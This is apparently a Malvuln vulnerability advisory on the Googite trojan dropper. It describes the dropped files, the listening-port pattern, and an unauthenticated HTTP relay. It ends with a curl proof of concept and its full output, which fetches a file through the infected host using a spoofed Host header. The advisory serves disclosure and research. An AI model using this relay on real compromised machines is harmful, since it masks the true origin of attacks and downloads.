Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ff30fbee3724d80dcb9471c0b553c99a.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Googite.a
Vulnerability: Unauthenticated Open Proxy 
Description: Googite malware drops several executables under dirs (SysWOW64/System32) and listens on non-specific but semi-predictable TCP ports as ports "1202, 1200" repeat often. On reboot ports 1202, 1200 became 6064, 6062 and pattern is that the ports are two digits apart each time.

2522,2520
9914,9912
1202,1200 (repeat)
1202,1200 (repeat)
1398, 1396
1794,1792
5337,5335
1202, 1200 (repeat)
1626,1624
1260,1258
1202,1200 (repeat)
2504,2502
9242,9240
1229,1227
1202,1200 (repeat)

The executables take CL args for the Port like svchosts.exe -p1200, and also allows spoofing the Host header when making HTTP requests to third-party systems. Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks or download files from third party systems and it will appear the attacks or downloads originated from the infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems.
Type: PE32
MD5: ff30fbee3724d80dcb9471c0b553c99a
Vuln ID: MVID-2021-0240
Dropped files: svchostc.exe, svchosts.exe, surte.exe
Disclosure: 06/06/2021


Exploit/PoC:
1) DOOM.exe lives on 192.168.18.128
2) Use lower port of the two, high port (1650) will send RST packet when try to download.

curl http://192.168.18.127:1648/DOOM.exe -H "Host: 192.168.18.128" --out DOOM.exe -v
*   Trying 192.168.18.127...
* TCP_NODELAY set
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 192.168.18.127 (192.168.18.127) port 1648 (#0)
GET /DOOM.exe HTTP/1.1
Host: 192.168.18.128
User-Agent: curl/7.55.1
Accept: */*

* HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.6
Date: Sun, 06 Jun 2021 23:51:47 GMT
Content-type: application/x-msdos-program
Content-Length: 103533
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT
* HTTP/1.0 connection set to keep alive!
Connection: Keep-Alive

{ [65820 bytes data]
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01  643k
* Connection #0 to host 192.168.18.127 left intact


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